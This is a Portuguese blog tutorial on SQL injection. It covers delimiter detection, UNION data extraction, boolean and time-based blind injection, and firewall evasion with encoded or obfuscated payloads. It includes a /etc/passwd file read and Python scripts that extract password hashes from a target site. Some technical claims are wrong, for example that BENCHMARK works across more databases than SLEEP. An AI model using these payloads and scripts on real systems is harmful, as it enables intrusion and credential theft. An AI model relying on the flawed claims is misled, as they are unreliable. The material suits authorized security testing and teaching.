A Essência da Injeção SQL: Métodos de Fechamento, Exibição com UNION e Técnicas de Injeção Cega

  1. Além da Sintaxe: Compreendendo a Vulnerabilidade SQL

Muitos iniciam no mundo da injeção SQL copiando um payload como ' OR 1=1 --+ em um campo de formulário, e veem o sistema revelar dados inesperados. Essa abordagem, contudo, pode ser enganosa. A verdadeira maestria em injeção SQL não reside na memorização de "receitas", mas na compreensão profunda de como as aplicações processam (ou falham em processar) a entrada do usuário. O objetivo é manipular o interpretador SQL para que uma string, que deveria ser tratada como dado, seja executada como parte da lógica do comando. Não estamos "invadindo" o banco de dados; estamos "convencendo-o" a executar instruções não intencionais.

O que chamamos de "injeção SQL prática" é, na verdade, um conjunto de habilidades cruciais:

  1. Capacidade de identificar o mecanismo de fechamento da string na consulta SQL original (aspas simples, duplas, parênteses, etc.).
  2. Conhecimento das variações sintáticas entre diferentes sistemas de banco de dados (MySQL, PostgreSQL, Oracle, SQL Server) para comentários, concatenação de strings e conversão de tipos.
  3. Entendimento do porquê uma query como ' AND 1=2 UNION SELECT 1,2,3-- pode ou não funcionar, considerando a exibição de erros, filtragem de espaços ou limitação do número de colunas retornadas.
  4. Habilidade para empregar injeções cegas (Booleanas ou por Tempo) quando o sistema não exibe erros ou dados, avançando sistematicamente em vez de depender de mensagens de erro explícitas.

Por exemplo, se ' OR SLEEP(5)-- provoca um atraso, isso indica que o backend não filtra entradas e que o banco de dados suporta a função SLEEP(). Se ' AND (SELECT COUNT(*) FROM usuarios) > 0-- causa uma lentidão na resposta sem erros visíveis, é provável que seja MySQL e que o log geral esteja ativo – uma pista valiosa para a exfiltração de dados. Este guia é útil para novatos em SQL que desejam validar princípios, para participantes de CTF que enfrentam desafios web, e para engenheiros de segurança que precisam verificar a existência de pontos de injeção em ambientes corporativos de forma segura. Nosso foco é desmistificar a lógica por trás das "queries padrão", os pontos de interceptação na camada da aplicação e os desafios mais comuns no campo.

  1. Identificando o Delimitador da Query: Onde Muitos Começam Errado

2.1 A Chave para o Sucesso: Entendendo o Contexto de Fechamento

O primeiro passo em qualquer injeção SQL é desestruturar a sintaxe original da consulta. Geralemnte, isso envolve terminar prematuramente uma string usando aspas simples (') ou duplas ("). Um erro comum é supor que ' OR 1=1 --+ é a única via. Muitas vezes, a falha reside em não adivinhar o caractere de fechamento correto. Em um caso real, um formulário de login exibia um erro 500 para ', mas funcionava normalmente para ". A aplicação usava JDBC PreparedStatement, mas o campo de usuário era envolvido por aspas duplas (WHERE nome_usuario = " + usuario + "), enquanto a senha usava aspas simples (AND senha = ' + senha + '). Assim, a injeção no nome de usuário exigia aspas duplas, e na senha, aspas simples. Focar apenas em um tipo de aspas levaria à perda da vulnerabilidade.

Portanto, a etapa inicial é sempre a detecção do método de fechamento:

  1. Insira uma aspa simples (') e observe a resposta: um erro de sintaxe SQL, uma página em branco ou um status HTTP 500 indicam possível fechamento com aspas simples.
  2. Insira uma aspa dupla (") e observe a resposta.
  3. Insira um parêntese de fechamento ()) ou uma combinação como '). Isso é útil para detectar injeções dentro de cláusulas como WHERE id IN (1,2,3).
  4. Insira uma barra invertida (\) para verificar se o caractere é escapado ou se causa um erro de sintaxe, indicando um tratamento inadequado.

Dica: Não confie apenas na inspeção visual. Utilize ferramentas como o Burp Suite para comparar o tamanho da resposta, o status HTTP e o cabeçalho Content-Length. Configure regras de destaque no Burp para alertar sobre diferenças significativas no tamanho da resposta, o que pode indicar uma injeção cega ou uma mudança sutil na página.

2.2 Sintaxe Clássica de Injeção com Aspas Simples e Adaptações

Uma vez que o fechamento por aspas simples é confirmado, o próximo passo é construir um payload eficaz. Contudo, é fundamental ter uma ideia da estrutura original da query. Por exemplo, uma consulta de login pode ser:

SELECT * FROM usuarios WHERE nome = 'admin' AND senha = '123456';

Se injetarmos ' OR '1'='1, a query se torna:

SELECT * FROM usuarios WHERE nome = '' OR '1'='1' AND senha = '123456';

Perceba que AND senha = '123456' ainda está presente. Por isso, ' OR 1=1-- é mais robusto, pois -- (em MySQL) ou # (em MySQL) comenta o restante da linha, ignorando a parte da senha:

SELECT * FROM usuarios WHERE nome = '' OR 1=1--' AND senha = '123456';

Os caracteres de comentário variam entre bancos de dados. MySQL usa -- (com espaço) e #; PostgreSQL usa -- e /* */; Oracle apenas --; e SQL Server usa -- e /* */. WAFs (Web Application Firewalls) podem filtrar espaços, invalidando --. Nesses casos, alternativas são necessárias:

  • Usar /**/ no lugar de espaços: ' OR 1=1/**/--
  • Comentários inline específicos do MySQL: /*!50000 SELECT 1*/, onde 50000 é a versão mínima do MySQL para que o comando seja executado. Isso pode contornar WAFs e ajudar a identificar a versão do banco.
  • Forçar a precedência com parênteses: ' OR (SELECT 1)=1#

Em um sistema governamental, um WAF filtrava espaços e --, mas permitia # e /**/. Usar ' OR 1=1# funcionou, enquanto ' OR 1=1/**/ falhou porque /**/ foi tratado como string. Isso demonstra que não existe um "payload universal", mas sim payloads adaptados ao ambiente.

2.3 Armadilhas de Fechamento: O Caso de um E-commerce

Em um teste de segurança para um e-commerce, o campo de busca de produtos exibia "Nenhum resultado encontrado" ao inserir '. Isso parecia normal. No entanto, ' AND 1=2-- resultou em 0 itens, enquanto ' AND 1=1-- mostrou vários produtos. Parecia uma injeção clássica. Mas ao tentar ' UNION SELECT 1,2,3--, a página retornou um erro 500: "The used SELECT statements have a different number of columns". A query UNION foi disparada, mas com número de colunas incompatível.

Usei ORDER BY para determinar o número de colunas: ' ORDER BY 1-- funcionou, ' ORDER BY 2-- funcionou... até ' ORDER BY 5--, que gerou um erro. Isso indicou 4 colunas. Então, tentei ' UNION SELECT 1,2,3,4--. A página exibiu dados, mas a segunda coluna mostrava o nome do banco de dados, a terceira o usuário atual, e a quarta a versão do MySQL. O problema era que os resultados da busca original desapareceram, exibindo apenas 1,2,3,4.

A análise revelou que a SQL do back end era algo como:

SELECT id_produto, nome_item, preco, categoria FROM produtos WHERE nome_item LIKE '%<busca_usuario>%';

Minha query UNION se tornou:

SELECT id_produto, nome_item, preco, categoria FROM produtos WHERE nome_item LIKE '%' OR 1=1 UNION SELECT 1,2,3,4--%';

O problema estava na lógica do LIKE. '% é uma string incompleta, causando um erro de sintaxe no LIKE e corrompendo toda a consulta. A solução correta era: '%' UNION SELECT 1,2,3,4--. Primeiro, fechar a aspa simples do LIKE, depois complementar com % para o curinga, e então realizar o UNION. Este é um detalhe prático que raramente é abordado em tutoriais básicos.

  1. Exibição de Dados com UNION: Lidando com Colunas e Tipos

3.1 Detecção de Colunas: A Eficácia da Busca Binária

A injeção UNION requer que as duas consultas SELECT tenham o mesmo número de colunas e que os tipos de dados correspondentes sejam compatíveis. Um erro comum é testar o número de colunas sequencialmente, de ORDER BY 1 a ORDER BY 100. Isso não só é ineficiente, mas também pode acionar limites de frequência de WAFs. A abordagem mais eficiente é a busca binária.

Se suspeitamos que o número de colunas está entre 1 e 32:

  • Primeiro, teste ' ORDER BY 16--. Se houver erro, o número de colunas é < 16.
  • Em seguida, teste ' ORDER BY 8--. Se for normal, o número de colunas é ≥ 8.
  • Continue dividindo o intervalo ao meio até encontrar o número exato.

Um pequeno script Python pode automatizar isso. A lógica central:

import requests

def verificar_payload(url_base, parametro, payload_teste):
    # Função simulada: substituir pela lógica real de requisição HTTP e análise da resposta
    # Retorna True para resposta normal, False para erro ou resposta alterada
    url = f"{url_base}?{parametro}={payload_teste}"
    try:
        response = requests.get(url, timeout=5)
        # Exemplo simplificado: considerar qualquer status 2xx como "normal"
        # Em cenários reais, analisar tamanho do conteúdo, palavras-chave de erro, etc.
        return 200 <= response.status_code < 300
    except requests.exceptions.RequestException:
        return False

def encontrar_numero_colunas(url_base, parametro_injecao):
    limite_inferior, limite_superior = 1, 64 # Limite razoável para colunas
    colunas_encontradas = 0

    while limite_inferior <= limite_superior:
        meio = (limite_inferior + limite_superior) // 2
        payload = f"' ORDER BY {meio}-- " # Exemplo de payload para MySQL
        
        print(f"Testando 'ORDER BY {meio}'...")
        if verificar_payload(url_base, parametro_injecao, payload):
            colunas_encontradas = meio
            limite_inferior = meio + 1 # Pode haver mais colunas
        else:
            limite_superior = meio - 1 # Número de colunas é menor ou igual a 'meio'
    
    return colunas_encontradas

# Exemplo de uso:
# url_alvo = "http://exemplo.com/pagina"
# param_alvo = "id"
# num_colunas = encontrar_numero_colunas(url_alvo, param_alvo)
# print(f"Número de colunas detectado: {num_colunas}")

É crucial registrar as características de cada resposta: erro 500, página em branco ou mensagem de erro específica. Por exemplo, um erro MySQL como Unknown column '7' in 'order clause' indica que o número de colunas é 6; um erro The used SELECT statements have a different number of columns no UNION indica que o ORDER BY foi bem-sucedido, mas o UNION falhou por incompatibilidade de colunas.

3.2 Compatibilidade de Tipos de Dados: Strings, Números e NULL

Mesmo com o número correto de colunas, a injeção UNION pode falhar devido a conflitos de tipo de dados. Se a consulta original for:

SELECT codigo, titulo, descricao FROM posts WHERE ativo = 1;

O campo codigo é INT, titulo é VARCHAR e descricao é TEXT. Se sua query UNION for:

' UNION SELECT 1, 'Meu Titulo', 'Minha Descricao'--

Isso geralmente funciona. No entanto, se o primeiro campo for '1' (string), e a coluna original for INT, MySQL pode tentar uma conversão implícita. PostgreSQL, por outro lado, seria mais rigoroso e geraria um erro como UNION types integer and text cannot be matched.

Um problema mais sutil é o uso de valores NULL. Algumas colunas (como chaves primárias) não aceitam NULL. Se a sua injeção UNION usar NULL em uma dessas posições, a query falhará. A solução é forçar o tipo com CAST ou CONVERT:

  • MySQL: ' UNION SELECT CAST(1 AS CHAR), 'dado', 'outro_dado'--
  • PostgreSQL: ' UNION SELECT CAST(1 AS TEXT), 'dado', 'outro_dado'--
  • SQL Server: ' UNION SELECT CONVERT(VARCHAR, 1), 'dado', 'outro_dado'--

Em um sistema médico, uma tabela de prontuários tinha um campo caminho_foto do tipo VARCHAR(255) que permitia NULL. Usar ' UNION SELECT 1,2,3,4,5-- resultou em um erro Data truncation: Data too long for column 'caminho_foto' at row 1. A quarta coluna era caminho_foto, e o número 4 foi convertido para a string '4'. O PHP no backend, ao tentar usar '4' como parte de uma URL de imagem, falhou. A solução foi: ' UNION SELECT 1,2,3,'/imagens/padrao.png',5--, usando um caminho de imagem válido no lugar do número.

3.3 Identificando Posições de Exibição: Onde os Dados Aparecem

O objetivo final da injeção UNION é extrair dados sensíveis. Mas, mesmo com colunas e tipos corretos, os dados podem não aparecer na página. É preciso saber onde os dados são exibidos.

A técnica é simples: usar strings únicas para cada coluna. Se houver 4 colunas, envie 4 requisições:

  • ' UNION SELECT 'TESTE_COL1', 'TESTE_COL2', 'TESTE_COL3', 'TESTE_COL4'--
  • Depois, procure por essas strings na resposta HTML.

É útil envolver as strings em tags HTML (ex: '<span>COL1</span>') e pesquisar no navegador. Em um site governamental, todos os dados injetados apareciam em comentários HTML (\<!-- usuario:5f4dcc3b5aa765d61d8327deb882cf99 -->), invisíveis a olho nu, mas detectáveis com a função "Search in response" do Burp Suite, procurando por um prefixo do hash MD5.

Observação: Alguns sistemas codificam entidades HTML (ex: < se torna &lt;), invalidando tags. Nesses casos, use marcadores de texto simples como [COL1] ou codifique em Base64: ' UNION SELECT TO_BASE64('COL1'), 'COL2', 'COL3', 'COL4'-- (MySQL 5.6+), e depois decodifique na resposta.

  1. Injeção Cega: Decifrando o Silêncio do Banco de Dados

4.1 Injeção Cega Booleana: Extraindo Dados Bit a Bit

Nem todos os sistemas exibem erros ou dados. Muitos ambientes de produção desabilitam display_errors ou usam páginas de erro genéricas, ou ainda, registram exceções sem feedback ao usuário. A injeção SQL ainda é possível, mas a abordagem muda. A injeção cega booleana se baseia em construir condições que retornam verdadeiro ou falso, inferindo informações a partir de pequenas variações na resposta da página.

Exemplo clássico: ' AND SUBSTRING((SELECT senha FROM usuarios WHERE id = 1), 1, 1) = 'a'--. Se a página retornar "resultado normal", a primiera letra é 'a'; se retornar "sem resultados", não é 'a'. Duas armadilhas aqui:

  1. Conjunto de caracteres: MySQL usa latin1 para comparações por padrão, mas hashes de senha são frequentemente hexadecimais (0-9, a-f). Comparar 'a' com 'A' (maiúscula) no banco de dados pode falhar. Solução: unificar para minúsculas ou usar LOWER(): LOWER(SUBSTRING(...)) = 'a'.
  2. Diferenças de resposta sutis: Em sistemas onde as respostas para condições verdadeiras e falsas são quase idênticas (mesmo status 200, diferença mínima de tamanho), um "ponto de ancoragem" é necessário. Em um sistema de logística, a página de busca exibia "X resultados encontrados" no rodapé. Quando a condição era verdadeira, X era um número; quando falsa, X era 0. Usei regex para extrair X e determinar a condição.

Um script semi-automático para injeção booleana, com uma função e_verdadeiro(payload):

import requests
import re

def e_verdadeiro(payload_injecao, url_alvo, parametro_injecao):
    url = f"{url_alvo}?{parametro_injecao}={requests.utils.quote(payload_injecao)}"
    try:
        resp = requests.get(url, timeout=10)
        # Exemplo de âncora: buscar por um padrão que indique "resultados"
        # Ajuste esta regex para o padrão de resposta do alvo
        match = re.search(r'Encontrados (\d+) resultados', resp.text)
        if match:
            return int(match.group(1)) > 0
        
        # Outras heurísticas se a regex não encontrar (ex: tamanho da resposta, status code)
        # return len(resp.text) > valor_limite_base
        
        return False # Assumir falso por padrão para evitar falsos positivos
    except requests.exceptions.RequestException:
        return False

def extrair_caractere_por_vez(url_alvo, parametro_injecao, comprimento_maximo_dado=32):
    dado_extraido = ""
    for indice in range(1, comprimento_maximo_dado + 1):
        min_ascii, max_ascii = 32, 126 # Caracteres ASCII visíveis
        caractere_atual = ''
        
        while min_ascii <= max_ascii:
            meio_ascii = (min_ascii + max_ascii) // 2
            # Payload de injeção cega booleana para extrair um caractere
            # Substitua (SELECT senha FROM usuarios LIMIT 1) pela query desejada
            payload = f"' AND ASCII(SUBSTRING((SELECT senha FROM usuarios LIMIT 1), {indice}, 1)) > {meio_ascii}-- "

            print(f"Testando índice {indice}, ASCII > {meio_ascii}...")
            if e_verdadeiro(payload, url_alvo, parametro_injecao):
                min_ascii = meio_ascii + 1
            else:
                max_ascii = meio_ascii - 1
        
        if min_ascii > 126 or min_ascii < 32: # Caractere não encontrado ou fora do intervalo
            break
        
        caractere_atual = chr(min_ascii)
        dado_extraido += caractere_atual
        print(f"\nDado parcial: {dado_extraido}", end='\r')
        
    print(f"\nDado final extraído: {dado_extraido}")
    return dado_extraido

# Exemplo de uso:
# url_sistema = "http://alvo.com/busca"
# param_busca = "q"
# senha_admin = extrair_caractere_por_vez(url_sistema, param_busca)
# print(f"Senha do admin: {senha_admin}")

Em um sistema bancário interno, a extração manual de um hash de senha levou 3 horas; o script o fez em 22 minutos. A eficiência da injeção cega booleana depende da estabilidade do seu "ponto de ancoragem" (estrutura HTML fixa, cabeçalhos HTTP específicos).

4.2 Injeção Cega por Tempo: O Sinal de Tempo como Mensagem

Quando a injeção cega booleana falha, a injeção por tempo é a última cartada. Ela se baseia em fazer o banco de dados executar uma operação que consome tempo (como SLEEP(N) ou BENCHMARK(N, expr)) e, então, inferir a verdade da condição a partir do atraso na resposta da página.

O maior desafio é a instabilidade da rede e a carga do servidor. Em um site de e-commerce com CDN, um SLEEP(1) resultava em tempos de resposta que variavam de 800ms a 1500ms. Definir um limiar fixo de 1000ms causaria muitos falsos positivos/negativos.

A solução é estabelecer uma linha de base e ajustar dinamicamente:

  1. Envie 10 requisições inofensivas (ex: ' AND 1=1--) e registre o tempo médio de resposta (T_base).
  2. Envie 10 requisições com SLEEP(1) e registre o tempo médio (T_sleep).
  3. Calcule um coeficiente de desvio: K = (T_sleep - T_base) / 1000 (o ideal seria 1).
  4. Nas próximas requisições, defina o limiar como T_base + K * 1000 * 0.8 (adicionando uma margem de erro de 20%).

Outra técnica importante é usar BENCHMARK em vez de SLEEP, pois é compatível com mais bancos de dados e menos propenso a ser detectado por WAFs. O BENCHMARK(N, expr) do MySQL executa expr N vezes. Por exemplo, BENCHMARK(1000000, MD5('teste')) pode levar cerca de 1.2 segundos em um CPU i7, enquanto SLEEP(1) pode ser bloqueado diretamente pelo WAF.

Em um sistema de RH governamental que bloqueava SLEEP mas permitia BENCHMARK, usei ' AND IF((SELECT SUBSTRING(senha,1,1) FROM usuarios WHERE id=1)='a', BENCHMARK(1000000,MD5('a')), 0)-- para extrair dados. O terceiro argumento da função IF deve ser "inofensivo" (como 0) para que BENCHMARK não seja executado, permitindo a diferenciação por tempo.

4.3 Estratégias Combinadas em Ambientes com WAF

Em ambientes reais, WAFs são um obstáculo inevitável. Após auditar diversos WAFs, observei padrões comuns de detecção: correspondência de palavras-chave (UNION, SELECT, SLEEP), análise de características (strings longas, densidade de caracteres especiais) e análise comportamental (requisições de erro frequentes).

Minha experiência sugere uma abordagem de "confusão-atraso-redução de frequência":

  • Camada de Confusão: Use misturas de maiúsculas/minúsculas, comentários inline, codificação URL e duplicação de caracteres para contornar a detecção de palavras-chave.
    • UNIONuNiAO
    • SELECTsElEcT
    • SLEEP(5)SLEEP/**/(5)
    • ' OR 1=1--'%20OR%201%3D1%23 (Codificação URL)
  • Camada de Atraso: Adicione atrasos aleatórios ao payload para desorganizar os modelos de análise comportamental do WAF. Por exemplo, AND SLEEP(RAND()*0.5) no final de cada requisição faria o tempo de resposta variar entre 0.1s e 0.6s, evitando a detecção de atrasos regulares.
  • Camada de Redução de Frequência: Controle a taxa de requisições. Usar time.sleep(random.uniform(1.5, 3.0)) em scripts Python para manter o intervalo entre requisições entre 1.5 e 3 segundos. Isso está bem abaixo do limite típico de WAFs de "10 requisições/segundo".

Em um projeto com um WAF extremamente rigoroso que bloqueava até mesmo aspas simples, o payload final que utilizei foi:

%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%20%46%52%4f%4d%20%75%73%65%72%73%20%57%48%45%52%45%20%31%3d%31%20%23

Este é o URL encoding de ' UNION SELECT 1,2,3,4,5 FROM users WHERE 1=1 #. O WAF interpretou isso como uma sequência de hexadecimais sem sentido, falhando em associá-lo a palavras-chave SQL. O banco de dados, ao decodificar, executou a query perfeitamente.

  1. Ferramentas vs. Análise Manual: O Poder do Raciocínio Humano

5.1 Ferramentas: Amplificadores, Não Tomadores de Decisão

Existem inúmeras ferramentas de injeção SQL, como SQLMap, Havij, NoSQLMap. Elas são poderosas, capazes de automatizar detecções, extrações e exportações de dados. No entanto, em projetos reais, mais de 70% das vulnerabilidades de injeção de alto risco que descobri não foram identificadas por ferramentas, mas por análise manual. Ferramentas dependem de padrões; humanos utilizam lógica e inferência.

Por exemplo, o SQLMap usa AND 1=1 e AND 1=2 para testar injeção booleana. Se o sistema alvo responder de forma idêntica a ambas as condições, o SQLMap desiste. No entanto, manualmente, eu imediatamente procuraria por cabeçalhos HTTP como X-Response-Time ou usaria curl -w "@format.txt" para obter detalhes de tempo. Certa vez, 1=1 resultou em X-DB-Time: 12ms, enquanto 1=2 retornou X-DB-Time: 3ms. Isso indicava que o backend registrava o tempo de execução da query no cabeçalho. SQLMap não olharia para isso; eu sim.

Outro exemplo: O SQLMap usa ORDER BY para detecção de colunas em injeção UNION, mas não considera armadilhas como a cláusula LIKE. Manualmente, ao ver ORDER BY funcionando, mas UNION falhando, minha primeira reação é verificar se a cláusula WHERE contém funções como LIKE, INSTR ou LOCATE, e construir um payload específico.

Dica: Nunca deixe que a ferramenta pense por você. Ao usar o Burp Suite, desative a "automatic matching" do Intruder. Configure manualmente "Grep - Extract" para obter campos chave (ex: <title>(.*?)</title>) e "Grep - Match" para sinalizar diferenças na resposta. Assim, cada resultado da requisição traz a informação que você realmente precisa, e não apenas bytes brutos.

5.2 O Método de Três Passos para Descoberta Manual: Observar-Hipótese-Verificar

Desenvolvi um processo padronizado para descoberta manual de injeção SQL, aplicável a qualquer sistema desconhecido:

Primeiro Passo: Observar

  • Capture todos os pontos de entrada controláveis pelo usuário: parâmetros de URL, corpo POST, Cookies, cabeçalhos HTTP (especialmente X-Forwarded-For, User-Agent).
  • Para cada ponto, envie ', ", \, (, ), AND 1=1, AND 1=2 e use a função "Compare" do Burp para analisar as diferenças nas respostas.
  • Registre uma "impressão digital" para cada ponto: há erros? Qual o tipo de erro? O comprimento da resposta muda? O status code altera?

Segundo Passo: Hipótese

  • Baseado na observação, proponha a estrutura SQL mais provável. Exemplo: se id=1' gera erro, mas id=1' AND 1=1-- é normal e id=1' AND 1=2-- retorna vazio, a hipótese é SELECT * FROM tabela WHERE id = '1'.
  • Preveja as regras do WAF. Se UNION é bloqueado, mas SELECT não, assuma que o WAF filtra a concatenação UNION SELECT e tente UNI/**/ON SEL/**/ECT.
  • Avalie o valor dos dados. Em um sistema de blog, foque na tabela usuarios; em um e-commerce, em pedidos e clientes.

Terceiro Passo: Verificar

  • Use um payload mínimo para validar a hipótese. Se a hipótese é MySQL, envie ' AND @@version LIKE '5.%'-- para confirmar a versão.
  • Use UNION SELECT para verificar o número de colunas e a posição de exibição.
  • Finalmente, use SELECT LOAD_FILE('/etc/passwd') (se houver permissão) ou SELECT @@datadir para verificar permissões de leitura/escrita.

Este processo, que exige preencher uma "Tabela de Análise de Injeção" com detalhes como ponto de entrada, método de fechamento, tipo de banco, número de colunas, posição de exibição, bypass de WAF e plano de ação, é muito mais eficaz do que qualquer varredura cega.

5.3 Meu "Acervo" de Payloads: Um Repertório de Respostas para Cenários

Minha prática de anos é não memorizar payloads, mas sim cenários. Transformei situações comuns em "reflexos condicionados":

  • "Inserir ' resulta em erro 500, mas ' AND 1=1 funciona" → Fechamento bem-sucedido, use -- para comentar.
  • "ORDER BY N funciona, mas UNION SELECT 1,2,3 falha" → Verifique cláusulas LIKE ou IN e complete o curinga.
  • "A página não muda, mas o tempo de resposta aumenta em 2 segundos" → Inicie a injeção cega por tempo, estabeleça uma linha de base primeiro.
  • "SLEEP(1) é bloqueado pelo WAF, mas BENCHMARK não" → Mude para BENCHMARK(1000000, MD5('a')).
  • "UNION é bloqueado, mas SELECT não" → Tente SEL/**/ECT ou %53%45%4c%45%43%54 (URL encoding).
  • "Injeção cega booleana com pouca diferença de resposta" → Examine comentários HTML, cabeçalhos HTTP ou strings fixas no corpo da resposta.

Esses "reflexos" não são memorização passiva, mas a culminação de tentativa e erro em centenas de sistemas reais. A proficiência em testes de penetração, assim como dirigir, torna a ação inconsciente. Quando você domina a sintaxe SQL, as características dos bancos de dados e a lógica dos WAFs, os "comandos padrão" deixam de ser um feitiço a ser recitado e se tornam um fluxo natural de código que surge da sua compreensão.

No campo, os testadores mais eficientes não são os que dominam as ferramentas, mas os que possuem a compreensão mais profunda dos mecanismos de banco de dados. Eles podem, a partir de um erro, deduzir qual driver, framework e até a versão do backend estão em uso. Essa habilidade não é de aprendizado rápido; ela é construída por meio de depurações manuais, leitura de logs de erro e "conversas" contínuas com o banco de dados. Portanto, antes de correr para o SQLMap, dedique meia hora a desmontar ' OR 1=1-- e entender, linha por linha, como ele altera o fluxo de execução SQL. Esse é o verdadeiro ponto de partida.

Tags: SQLInjection WebSecurity DatabaseSecurity BlindSQLi UNIONSQLi

Publicado em 8-12 05:41